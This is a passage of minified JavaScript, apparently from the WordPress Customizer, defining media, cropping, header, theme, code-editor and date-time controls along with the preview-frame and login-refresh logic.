keydown",".remove-button",n.cleanupPlayer),Y.section(n.section()).container.on("expanded",function(){n.player&&n.player.setControlsSize()}).on("collapsed",function(){n.pausePlayer()}),e(n.setting()),n.setting.bind(e)},pausePlayer:function(){this.player&&this.player.pause()},cleanupPlayer:function(){this.player&&wp.media.mixin.removePlayer(this.player)},openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.frame||this.initFrame(),this.frame.open())},initFrame:function(){this.frame=wp.media({button:{text:this.params.button_labels.frame_button},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:this.params.mime_type}),multiple:!1,date:!1})]}),this.frame.on("select",this.select)},select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.id),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},restoreDefault:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment=this.params.defaultAttachment,this.setting(this.params.defaultAttachment.url))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent())}}),Y.UploadControl=Y.MediaControl.extend({select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.url),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},success:function(){},removerVisibility:function(){}}),Y.ImageControl=Y.UploadControl.extend({thumbnailSrc:function(){}}),Y.BackgroundControl=Y.UploadControl.extend({ready:function(){Y.UploadControl.prototype.ready.apply(this,arguments)},select:function(){Y.UploadControl.prototype.select.apply(this,arguments),wp.ajax.post("custom-background-add",{nonce:_wpCustomizeBackground.nonces.add,wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,attachment_id:this.params.attachment.id})}}),Y.BackgroundPositionControl=Y.Control.extend({ready:function(){var e,n=this;n.container.on("change",'input[name="background-position"]',function(){var e=J(this).val().split(" ");n.settings.x(e[0]),n.settings.y(e[1])}),e=_.debounce(function(){var e=n.settings.x.get(),t=n.settings.y.get(),e=String(e)+" "+String(t);n.container.find('input[name="background-position"][value="'+e+'"]').trigger("click")}),n.settings.x.bind(e),n.settings.y.bind(e),e()}}),Y.CroppedImageControl=Y.MediaControl.extend({openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(this.initFrame(),this.frame.setState("library").open())},initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON();this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):(this.setImageFromAttachment(e),this.frame.close())},onCropped:function(e){this.setImageFromAttachment(e)},calculateImageSelectOptions:function(e,t){var n=t.get("control"),i=!!parseInt(n.params.flex_width,10),a=!!parseInt(n.params.flex_height,10),o=e.get("width"),e=e.get("height"),s=parseInt(n.params.width,10),r=parseInt(n.params.height,10),c=s/r,l=s,d=r;return t.set("canSkipCrop",!n.mustBeCropped(i,a,s,r,o,e)),c<o/e?s=(r=e)*c:r=(s=o)/c,!(c={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:o,imageHeight:e,minWidth:s<l?s:l,minHeight:r<d?r:d,x1:t=(o-s)/2,y1:n=(e-r)/2,x2:s+t,y2:r+n})==a&&!1==i&&(c.aspectRatio=s+":"+r),!0==a&&(delete c.minHeight,c.maxWidth=o),!0==i&&(delete c.minWidth,c.maxHeight=e),c},mustBeCropped:function(e,t,n,i,a,o){return(!0!==e||!0!==t)&&!(!0===e&&i===o||!0===t&&n===a||n===a&&i===o||a<=n)},onSkippedCrop:function(){var e=this.frame.state().get("selection").first().toJSON();this.setImageFromAttachment(e)},setImageFromAttachment:function(e){this.params.attachment=e,this.setting(e.id)}}),Y.SiteIconControl=Y.CroppedImageControl.extend({initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.SiteIconCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON(),t=this;this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):wp.ajax.post("crop-image",{nonce:e.nonces.edit,id:e.id,context:"site-icon",cropDetails:{x1:0,y1:0,width:this.params.width,height:this.params.height,dst_width:this.params.width,dst_height:this.params.height}}).done(function(e){t.setImageFromAttachment(e),t.frame.close()}).fail(function(){t.frame.trigger("content:error:crop")})},setImageFromAttachment:function(t){var n;_.each(["site_icon-32","thumbnail","full"],function(e){n||_.isUndefined(t.sizes[e])||(n=t.sizes[e])}),this.params.attachment=t,this.setting(t.id),n&&J('link[rel="icon"][sizes="32x32"]').attr("href",n.url)},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent(),J('link[rel="icon"][sizes="32x32"]').attr("href","/favicon.ico"))}}),Y.HeaderControl=Y.Control.extend({ready:function(){this.btnRemove=J("#customize-control-header_image .actions .remove"),this.btnNew=J("#customize-control-header_image .actions .new"),_.bindAll(this,"openMedia","removeImage"),this.btnNew.on("click",this.openMedia),this.btnRemove.on("click",this.removeImage),Y.HeaderTool.currentHeader=this.getInitialHeaderImage(),new Y.HeaderTool.CurrentView({model:Y.HeaderTool.currentHeader,el:"#customize-control-header_image .current .container"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.UploadsList=new Y.HeaderTool.ChoiceList,el:"#customize-control-header_image .choices .uploaded .list"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.DefaultsList=new Y.HeaderTool.DefaultsList,el:"#customize-control-header_image .choices .default .list"}),Y.HeaderTool.combinedList=Y.HeaderTool.CombinedList=new Y.HeaderTool.CombinedList([Y.HeaderTool.UploadsList,Y.HeaderTool.DefaultsList]),wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize="on",wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme=Y.settings.theme.stylesheet},getInitialHeaderImage:function(){var e;return Y.get().header_image&&Y.get().header_image_data&&!_.contains(["remove-header","random-default-image","random-uploaded-image"],Y.get().header_image)?(e=(e=_.find(_wpCustomizeHeader.uploads,function(e){return e.attachment_id===Y.get().header_image_data.attachment_id}))||{url:Y.get().header_image,thumbnail_url:Y.get().header_image,attachment_id:Y.get().header_image_data.attachment_id},new Y.HeaderTool.ImageModel({header:e,choice:e.url.split("/").pop()})):new Y.HeaderTool.ImageModel},calculateImageSelectOptions:function(e,t){var n=parseInt(_wpCustomizeHeader.data.width,10),i=parseInt(_wpCustomizeHeader.data.height,10),a=!!parseInt(_wpCustomizeHeader.data["flex-width"],10),o=!!parseInt(_wpCustomizeHeader.data["flex-height"],10),s=e.get("width"),e=e.get("height");return this.headerImage=new Y.HeaderTool.ImageModel,this.headerImage.set({themeWidth:n,themeHeight:i,themeFlexWidth:a,themeFlexHeight:o,imageWidth:s,imageHeight:e}),t.set("canSkipCrop",!this.headerImage.shouldBeCropped()),(t=n/i)<s/e?n=(i=e)*t:i=(n=s)/t,!(t={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:s,imageHeight:e,x1:0,y1:0,x2:n,y2:i})==o&&!1==a&&(t.aspectRatio=n+":"+i),!1==o&&(t.maxHeight=i),!1==a&&(t.maxWidth=n),t},openMedia:function(e){var t=_wpMediaViewsL10n;e.preventDefault(),this.frame=wp.media({button:{text:t.selectAndCrop,close:!1},states:[new wp.media.controller.Library({title:t.chooseImage,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:_wpCustomizeHeader.data.width,suggestedHeight:_wpCustomizeHeader.data.height}),new wp.media.controller.Cropper({imgSelectOptions:this.calculateImageSelectOptions})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this),this.frame.open()},onSelect:function(){this.frame.setState("cropper")},onCropped:function(e){var t=e.url,n=e.attachment_id,i=e.width,e=e.height;this.setImageFromURL(t,n,i,e)},onSkippedCrop:function(e){var t=e.get("url"),n=e.get("width"),i=e.get("height");this.setImageFromURL(t,e.id,n,i)},setImageFromURL:function(e,t,n,i){var a={};a.url=e,a.thumbnail_url=e,a.timestamp=_.now(),t&&(a.attachment_id=t),n&&(a.width=n),i&&(a.height=i),t=new Y.HeaderTool.ImageModel({header:a,choice:e.split("/").pop()}),Y.HeaderTool.UploadsList.add(t),Y.HeaderTool.currentHeader.set(t.toJSON()),t.save(),t.importImage()},removeImage:function(){Y.HeaderTool.currentHeader.trigger("hide"),Y.HeaderTool.CombinedList.trigger("control:removeImage")}}),Y.ThemeControl=Y.Control.extend({touchDrag:!1,screenshotRendered:!1,ready:function(){var n=this,e=Y.panel("themes");function t(){return!e.canSwitchTheme(n.params.theme.id)}function i(){n.container.find("button.preview, button.preview-theme").toggleClass("disabled",t()),n.container.find("button.theme-install").toggleClass("disabled",t()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded)}Y.state("selectedChangesetStatus").bind(i),Y.state("changesetStatus").bind(i),i(),n.container.on("touchmove",".theme",function(){n.touchDrag=!0}),n.container.on("click keydown touchend",".theme",function(e){var t;if(!Y.utils.isKeydownButNotEnterEvent(e))return!0===n.touchDrag?n.touchDrag=!1:void(J(e.target).is(".theme-actions .button, .update-theme")||(e.preventDefault(),(t=Y.section(n.section())).showDetails(n.params.theme,function(){Y.settings.theme._filesystemCredentialsNeeded&&t.overlay.find(".theme-actions .delete-theme").remove()})))}),n.container.on("render-screenshot",function(){var e=J(this).find("img"),t=e.data("src");t&&e.attr("src",t),n.screenshotRendered=!0})},filter:function(e){var t=this,n=0,i=(i=t.params.theme.name+" "+t.params.theme.description+" "+t.params.theme.tags+" "+t.params.theme.author+" ").toLowerCase().replace("-"," ");return _.isArray(e)||(e=[e]),t.params.theme.name.toLowerCase()===e.join(" ")?n=100:(n+=10*(i.split(e.join(" ")).length-1),_.each(e,function(e){n=(n+=2*(i.split(e+" ").length-1))+i.split(e).length-1}),99<n&&(n=99)),0!==n?(t.activate(),t.params.priority=101-n,!0):(t.deactivate(),!(t.params.priority=101))},rerenderAsInstalled:function(e){var t=this;e?t.params.theme.type="installed":(e=Y.section(t.params.section),t.params.theme.type=e.params.action),t.renderContent(),t.container.trigger("render-screenshot")}}),Y.CodeEditorControl=Y.Control.extend({initialize:function(e,t){var n=this;n.deferred=_.extend(n.deferred||{},{codemirror:J.Deferred()}),Y.Control.prototype.initialize.call(n,e,t),n.notifications.bind("add",function(e){var t;e.code===n.setting.id+":csslint_error"&&(e.templateId="customize-code-editor-lint-error-notification",e.render=(t=e.render,function(){var e=t.call(this);return e.find("input[type=checkbox]").on("click",function(){n.setting.notifications.remove("csslint_error")}),e}))})},ready:function(){var i=this;i.section()?Y.section(i.section(),function(n){n.deferred.embedded.done(function(){var t;n.expanded()?i.initEditor():n.expanded.bind(t=function(e){e&&(i.initEditor(),n.expanded.unbind(t))})})}):i.initEditor()},initEditor:function(){var e,t=this,n=!1;wp.codeEditor&&(_.isUndefined(t.params.editor_settings)||!1!==t.params.editor_settings)&&((n=wp.codeEditor.defaultSettings?_.clone(wp.codeEditor.defaultSettings):{}).codemirror=_.extend({},n.codemirror,{indentUnit:2,tabSize:2}),_.isObject(t.params.editor_settings))&&_.each(t.params.editor_settings,function(e,t){_.isObject(e)&&(n[t]=_.extend({},n[t],e))}),e=new Y.Element(t.container.find("textarea")),t.elements.push(e),e.sync(t.setting),e.set(t.setting()),n?t.initSyntaxHighlightingEditor(n):t.initPlainTextareaEditor()},focus:function(e){var t=this,e=_.extend({},e),n=e.completeCallback;e.completeCallback=function(){n&&n(),t.editor&&t.editor.codemirror.focus()},Y.Control.prototype.focus.call(t,e)},initSyntaxHighlightingEditor:function(e){var t=this,n=t.container.find("textarea"),i=!1,e=_.extend({},e,{onTabNext:_.bind(t.onTabNext,t),onTabPrevious:_.bind(t.onTabPrevious,t),onUpdateErrorNotice:_.bind(t.onUpdateErrorNotice,t)});t.editor=wp.codeEditor.initialize(n,e),J(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-label":t.params.label,"aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),t.container.find("label").on("click",function(){t.editor.codemirror.focus()}),t.editor.codemirror.on("change",function(e){i=!0,n.val(e.getValue()).trigger("change"),i=!1}),t.setting.bind(function(e){i||t.editor.codemirror.setValue(e)}),t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}),t.deferred.codemirror.resolveWith(t,[t.editor.codemirror])},onTabNext:function(){var e=Y.section(this.section()).controls(),t=e.indexOf(this);e.length===t+1?J("#customize-footer-actions .collapse-sidebar").trigger("focus"):e[t+1].container.find(":focusable:first").focus()},onTabPrevious:function(){var e=Y.section(this.section()),t=e.controls(),n=t.indexOf(this);(0===n?e.contentContainer.find(".customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close").last():t[n-1].contentContainer.find(":focusable:first")).focus()},onUpdateErrorNotice:function(e){this.setting.notifications.remove("csslint_error"),0!==e.length&&(e=1===e.length?Y.l10n.customCssError.singular.replace("%d","1"):Y.l10n.customCssError.plural.replace("%d",String(e.length)),this.setting.notifications.add(new Y.Notification("csslint_error",{message:e,type:"error"})))},initPlainTextareaEditor:function(){var a=this.container.find("textarea"),o=a[0];a.on("blur",function(){a.data("next-tab-blurs",!1)}),a.on("keydown",function(e){var t,n,i;27===e.keyCode?a.data("next-tab-blurs")||(a.data("next-tab-blurs",!0),e.stopPropagation()):9!==e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||a.data("next-tab-blurs")||(t=o.selectionStart,n=o.selectionEnd,i=o.value,0<=t&&(o.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=o.selectionEnd=t+1),e.stopPropagation(),e.preventDefault())}),this.deferred.codemirror.rejectWith(this)}}),Y.DateTimeControl=Y.Control.extend({ready:function(){var i=this;if(i.inputElements={},i.invalidDate=!1,_.bindAll(i,"populateSetting","updateDaysForMonth","populateDateInputs"),!i.setting)throw new Error("Missing setting");i.container.find(".date-input").each(function(){var e=J(this),t=e.data("component"),n=new Y.Element(e);i.inputElements[t]=n,i.elements.push(n),e.on("change",function(){i.invalidDate&&i.notifications.add(new Y.Notification("invalid_date",{message:Y.l10n.invalidDate}))}),e.on("input",_.debounce(function(){i.invalidDate||i.notifications.remove("invalid_date")})),e.on("blur",_.debounce(function(){i.invalidDate||i.populateDateInputs()}))}),i.inputElements.month.bind(i.updateDaysForMonth),i.inputElements.year.bind(i.updateDaysForMonth),i.populateDateInputs(),i.setting.bind(i.populateDateInputs),_.each(i.inputElements,function(e){e.bind(i.populateSetting)})},parseDateTime:function(e){var t;return(t=e?e.match(/^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/):t)?(t.shift(),e={year:t.shift(),month:t.shift(),day:t.shift(),hour:t.shift()||"00",minute:t.shift()||"00",second:t.shift()||"00"},this.params.includeTime&&this.params.twelveHourFormat&&(e.hour=parseInt(e.hour,10),e.meridian=12<=e.hour?"pm":"am",e.hour=e.hour%12?String(e.hour%12):String(12),delete e.second),e):null},validateInputs:function(){var e,i,a=this;return a.invalidDate=!1,e=["year","day"],a.params.includeTime&&e.push("hour","minute"),_.find(e,function(e){var t,n,e=a.inputElements[e];return i=e.element.get(0),t=parseInt(e.element.attr("max"),10),n=parseInt(e.element.attr("min"),10),e=parseInt(e(),10),a.invalidDate=isNaN(e)||t<e||e<n,a.invalidDate||i.setCustomValidity(""),a.invalidDate}),a.inputElements.meridian&&!a.invalidDate&&(i=a.inputElements.meridian.element.get(0),"am"!==a.inputElements.meridian.get()&&"pm"!==a.inputElements.meridian.get()?a.invalidDate=!0:i.setCustomValidity("")),a.invalidDate?i.setCustomValidity(Y.l10n.invalidValue):i.setCustomValidity(""),(!a.section()||Y.section.has(a.section())&&Y.section(a.section()).expanded())&&_.result(i,"reportValidity"),a.invalidDate},updateDaysForMonth:function(){var e=this,t=parseInt(e.inputElements.month(),10),n=parseInt(e.inputElements.year(),10),i=parseInt(e.inputElements.day(),10);t&&n&&(n=new Date(n,t,0).getDate(),e.inputElements.day.element.attr("max",n),n<i)&&e.inputElements.day(String(n))},populateSetting:function(){var e,t=this;return!(t.validateInputs()||!t.params.allowPastDate&&!t.isFutureDate()||(e=t.convertInputDateToString(),t.setting.set(e),0))},convertInputDateToString:function(){var e,n=this,t="",i=function(e,t){return String(e).length<t&&(t=t-String(e).length,e=Math.pow(10,t).toString().substr(1)+String(e)),e},a=function(e){var t=parseInt(n.inputElements[e].get(),10);return _.contains(["month","day","hour","minute"],e)?t=i(t,2):"year"===e&&(t=i(t,4)),t},o=["year","-","month","-","day"];return n.params.includeTime&&(e=n.inputElements.meridian?n.convertHourToTwentyFourHourFormat(n.inputElements.hour(),n.inputElements.meridian()):n.inputElements.hour(),o=o.concat([" ",i(e,2),":","minute",":","00"])),_.each(o,function(e){t+=n.inputElements[e]?a(e):e}),t},isFutureDate:function(){return 0<Y.utils.getRemainingTime(this.convertInputDateToString())},convertHourToTwentyFourHourFormat:function(e,t){e=parseInt(e,10);return isNaN(e)?"":(t="pm"===t&&e<12?e+12:"am"===t&&12===e?e-12:e,String(t))},populateDateInputs:function(){var i=this.parseDateTime(this.setting.get());return!!i&&(_.each(this.inputElements,function(e,t){var n=i[t];"month"===t||"meridian"===t?(n=n.replace(/^0/,""),e.set(n)):(n=parseInt(n,10),e.element.is(document.activeElement)?n!==parseInt(e(),10)&&e.set(String(n)):e.set(i[t]))}),!0)},toggleFutureDateNotification:function(e){var t="not_future_date";return e?(e=new Y.Notification(t,{type:"error",message:Y.l10n.futureDateError}),this.notifications.add(e)):this.notifications.remove(t),this}}),Y.PreviewLinkControl=Y.Control.extend({defaults:_.extend({},Y.Control.prototype.defaults,{templateId:"customize-preview-link-control"}),ready:function(){var e,t,n,i,a,o=this;_.bindAll(o,"updatePreviewLink"),o.setting||(o.setting=new Y.Value),o.previewElements={},o.container.find(".preview-control-element").each(function(){t=J(this),e=t.data("component"),t=new Y.Element(t),o.previewElements[e]=t,o.elements.push(t)}),n=o.previewElements.url,i=o.previewElements.input,a=o.previewElements.button,i.link(o.setting),n.link(o.setting),n.bind(function(e){n.element.parent().attr({href:e,target:Y.settings.changeset.uuid})}),Y.bind("ready",o.updatePreviewLink),Y.state("saved").bind(o.updatePreviewLink),Y.state("changesetStatus").bind(o.updatePreviewLink),Y.state("activated").bind(o.updatePreviewLink),Y.previewer.previewUrl.bind(o.updatePreviewLink),a.element.on("click",function(e){e.preventDefault(),o.setting()&&(i.element.select(),document.execCommand("copy"),a(a.element.data("copied-text")))}),n.element.parent().on("click",function(e){J(this).hasClass("disabled")&&e.preventDefault()}),a.element.on("mouseenter",function(){o.setting()&&a(a.element.data("copy-text"))})},updatePreviewLink:function(){var e=!Y.state("saved").get()||""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get();this.toggleSaveNotification(e),this.previewElements.url.element.parent().toggleClass("disabled",e),this.previewElements.button.element.prop("disabled",e),this.setting.set(Y.previewer.getFrontendPreviewUrl())},toggleSaveNotification:function(e){var t="changes_not_saved";e?(e=new Y.Notification(t,{type:"info",message:Y.l10n.saveBeforeShare}),this.notifications.add(e)):this.notifications.remove(t)}}),Y.defaultConstructor=Y.Setting,Y.control=new Y.Values({defaultConstructor:Y.Control}),Y.section=new Y.Values({defaultConstructor:Y.Section}),Y.panel=new Y.Values({defaultConstructor:Y.Panel}),Y.notifications=new Y.Notifications,Y.PreviewFrame=Y.Messenger.extend({sensitivity:null,initialize:function(e,t){var n=J.Deferred();n.promise(this),this.container=e.container,J.extend(e,{channel:Y.PreviewFrame.uuid()}),Y.Messenger.prototype.initialize.call(this,e,t),this.add("previewUrl",e.previewUrl),this.query=J.extend(e.query||{},{customize_messenger_channel:this.channel()}),this.run(n)},run:function(t){var e,n,i,a=this,o=!1,s=!1,r=null,c="{}"!==a.query.customized;a._ready&&a.unbind("ready",a._ready),a._ready=function(e){s=!0,r=e,a.container.addClass("iframe-ready"),e&&o&&t.resolveWith(a,[e])},a.bind("ready",a._ready),(e=document.createElement("a")).href=a.previewUrl(),n=_.extend(Y.utils.parseQueryString(e.search.substr(1)),{customize_changeset_uuid:a.query.customize_changeset_uuid,customize_theme:a.query.customize_theme,customize_messenger_channel:a.query.customize_messenger_channel}),!Y.settings.changeset.autosaved&&Y.state("saved").get()||(n.customize_autosaved="on"),e.search=J.param(n),a.iframe=J("<iframe />",{title:Y.l10n.previewIframeTitle,name:"customize-"+a.channel()}),a.iframe.attr("onmousewheel",""),a.iframe.attr("sandbox","allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts"),c?a.iframe.attr("data-src",e.href):a.iframe.attr("src",e.href),a.iframe.appendTo(a.container),a.targetWindow(a.iframe[0].contentWindow),c&&((i=J("<form>",{action:e.href,target:a.iframe.attr("name"),method:"post",hidden:"hidden"})).append(J("<input>",{type:"hidden",name:"_method",value:"GET"})),_.each(a.query,function(e,t){i.append(J("<input>",{type:"hidden",name:t,value:e}))}),a.container.append(i),i.trigger("submit"),i.remove()),a.bind("iframe-loading-error",function(e){a.iframe.remove(),0===e?a.login(t):-1===e?t.rejectWith(a,["cheatin"]):t.rejectWith(a,["request failure"])}),a.iframe.one("load",function(){o=!0,s?t.resolveWith(a,[r]):setTimeout(function(){t.rejectWith(a,["ready timeout"])},a.sensitivity)})},login:function(n){var i=this,a=function(){n.rejectWith(i,["logged out"])};if(this.triedLogin)return a();J.get(Y.settings.url.ajax,{action:"logged-in"}).fail(a).done(function(e){var t;"1"!==e&&a(),(t=J("<iframe />",{src:i.previewUrl(),title:Y.l10n.previewIframeTitle}).hide()).appendTo(i.container),t.on("load",function(){i.triedLogin=!0,t.remove(),i.run(n)})})},destroy:function(){Y.Messenger.prototype.destroy.call(this),this.iframe&&this.iframe.remove(),delete this.iframe,delete this.targetWindow}}),i=0,Y.PreviewFrame.uuid=function(){return"preview-"+String(i++)},Y.setDocumentTitle=function(e){e=Y.settings.documentTitleTmpl.replace("%s",e);document.title=e,Y.trigger("title",e)},Y.Previewer=Y.Messenger.extend({refreshBuffer:null,initialize:function(e,t){var n,o=this,i=document.createElement("a");J.extend(o,t||{}),o.deferred={active:J.Deferred()},o.refresh=_.debounce((n=o.refresh,function(){var e,t=function(){return 0===Y.state("processing").get()};t()?n.call(o):(e=function(){t()&&(n.call(o),Y.state("processing").unbind(e))},Y.state("processing").bind(e))}),o.refreshBuffer),o.container=Y.ensure(e.container),o.allowedUrls=e.allowedUrls,e.url=window.location.href,Y.Messenger.prototype.initialize.call(o,e),i.href=o.origin(),o.add("scheme",i.protocol.replace(/:$/,"")),o.add("previewUrl",e.previewUrl).setter(function(e){var n,i=null,t=[],a=document.createElement("a");return a.href=e,/\/wp-(admin|includes|content)(\/|$)/.test(a.pathname)?null:(1<a.search.length&&(delete(e=Y.utils.parseQueryString(a.search.substr(1))).customize_changeset_uuid,delete e.customize_theme,delete e.customize_messenger_channel,delete e.customize_autosaved,_.isEmpty(e)?a.search="":a.search=J.param(e)),t.push(a),o.scheme.get()+":"!==a.protocol&&((a=document.createElement("a")).href=t[0].href,a.protocol=o.scheme.get()+":",t.unshift(a)),n=document.createElement("a"),_.find(t,function(t){return!_.isUndefined(_.find(o.allowedUrls,function(e){if(n.href=e,a.protocol===n.protocol&&a.host===n.host&&0===a.pathname.indexOf(n.pathname.replace(/\/$/,"")))return i=t.href,!0}))}),i)}),o.bind("ready",o.ready),o.deferred.active.done(_.bind(o.keepPreviewAlive,o)),o.bind("synced",function(){o.send("active")}),o.previewUrl.bind(o.refresh),o.scroll=0,o.bind("scroll",function(e){o.scroll=e}),o.bind("url",function(e){var t,n=!1;o.scroll=0,o.previewUrl.bind(t=function(){n=!0}),o.previewUrl.set(e),o.previewUrl.unbind(t),n||o.refresh()}),o.bind("documentTitle",function(e){Y.setDocumentTitle(e)})},ready:function(e){var t=this,n={};n.settings=Y.get(),n["settings-modified-while-loading"]=t.settingsModifiedWhileLoading,"resolved"===t.deferred.active.state()&&!t.loading||(n.scroll=t.scroll),n["edit-shortcut-visibility"]=Y.state("editShortcutVisibility").get(),t.send("sync",n),e.currentUrl&&(t.previewUrl.unbind(t.refresh),t.previewUrl.set(e.currentUrl),t.previewUrl.bind(t.refresh)),n={panel:e.activePanels,section:e.activeSections,control:e.activeControls},_(n).each(function(n,i){Y[i].each(function(e,t){_.isUndefined(Y.settings[i+"s"][t])&&_.isUndefined(n[t])||(n[t]?e.activate():e.deactivate())})}),e.settingValidities&&Y._handleSettingValidities({settingValidities:e.settingValidities,focusInvalidControl:!1})},keepPreviewAlive:function(){var e,t=function(){e=setTimeout(i,Y.settings.timeouts.keepAliveCheck)},n=function(){Y.state("previewerAlive").set(!0),clearTimeout(e),t()},i=function(){Y.state("previewerAlive").set(!1)};t(),this.bind("ready",n),this.bind("keep-alive",n)},query:function(){},abort:function(){this.loading&&(this.loading.destroy(),delete this.loading)},refresh:function(){var e,i=this;i.send("loading-initiated"),i.abort(),i.loading=new Y.PreviewFrame({url:i.url(),previewUrl:i.previewUrl(),query:i.query({excludeCustomizedSaved:!0})||{},container:i.container}),i.settingsModifiedWhileLoading={},Y.bind("change",e=function(e){i.settingsModifiedWhileLoading[e.id]=!0}),i.loading.always(function(){Y.unbind("change",e)}),i.loading.done(function(e){var t,n=this;i.preview=n,i.targetWindow(n.targetWindow()),i.channel(n.channel()),t=function(){n.unbind("synced",t),i._previousPreview&&i._previousPreview.destroy(),i._previousPreview=i.preview,i.deferred.active.resolve(),delete i.loading},n.bind("synced",t),i.trigger("ready",e)}),i.loading.fail(function(e){i.send("loading-failed"),"logged out"===e&&(i.preview&&(i.preview.destroy(),delete i.preview),i.login().done(i.refresh)),"cheatin"===e&&i.cheatin()})},login:function(){var t,n,i,a=this;return this._login||(t=J.Deferred(),this._login=t.promise(),n=new Y.Messenger({channel:"login",url:Y.settings.url.login}),i=J("<iframe />",{src:Y.settings.url.login,title:Y.l10n.loginIframeTitle}).appendTo(this.container),n.targetWindow(i[0].contentWindow),n.bind("login",function(){var e=a.refreshNonces();e.always(function(){i.remove(),n.destroy(),delete a._login}),e.done(function(){t.resolve()}),e.fail(function(){a.cheatin(),t.reject()})})),this._login},cheatin:function(){J(document.body).empty().addClass("cheatin").append("<h1>"+Y.l10n.notAllowedHeading+"</h1><p>"+Y.l10n.notAllowed+"</p>")},refreshNonces:function(){var e,t=J.Deferred();return t.promise(),(e=wp.ajax.post("customize_refresh_nonces",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet})).done(function(e){Y.trigger("nonce-refresh",e),t.resolve()}),e.fail(function(){t.reject()}),t}}),Y.settingConstructor={},Y.controlConstructor={color:Y.ColorControl,media:Y.MediaControl,upload:Y.UploadControl,image:Y.ImageControl,cropped_image:Y.CroppedImageControl,site_icon:Y.SiteIconControl,header:Y.HeaderControl,background:Y.BackgroundControl,background_position:Y.BackgroundPositionControl,theme:Y.ThemeControl,date_time:Y.DateTimeControl,code_editor:Y.CodeEditorControl},Y.panelConstructor={themes:Y.ThemesPanel},Y.sectionConstructor={themes:Y.ThemesSection,outer:Y.OuterSection},Y._handleSettingValidities=function(e){var o=[],n=!1;_.each(e.settingValidities,function(t,e){var a=Y(e);a&&(_.isObject(t)&&_.each(t,function(e,t){var n=!1,e=new Y.Notification(t,_.extend({fromServer:!0},e)),i=a.notifications(e.code);(n=i?e.type!==i.type||e.message!==i.message||!_.isEqual(e.data,i.data):n)&&a.notifications.remove(t),a.notifications.has(e.code)||a.notifications.add(e),o.push(a.id)}),a.notifications.each(function(e){!e.fromServer||"error"!==e.type||!0!==t&&t[e.code]||a.notifications.remove(e.code)}))}),e.focusInvalidControl&&(e=Y.findControlsForSettings(o),_(_.values(e)).find(function(e){return _(e).find(function(e){var t=e.section()&&Y.section.has(e.section())&&Y.section(e.section()).expanded();return(t=t&&e.expanded?e.expanded():t)&&(e.focus(),n=!0),n})}),n||_.isEmpty(e)||_.values(e)[0][0].focus())},Y.findControlsForSettings=function(e){var n,i={};return _.each(_.unique(e),function(e){var t=Y(e);t&&(n=t.findControls())&&0<n.length&&(i[e]=n)}),i},Y.reflowPaneContents=_.bind(function(){var i,e,t,a=[],o=!1;document.activeElement&&(e=J(document.activeElement)),Y.panel.each(function(e){var 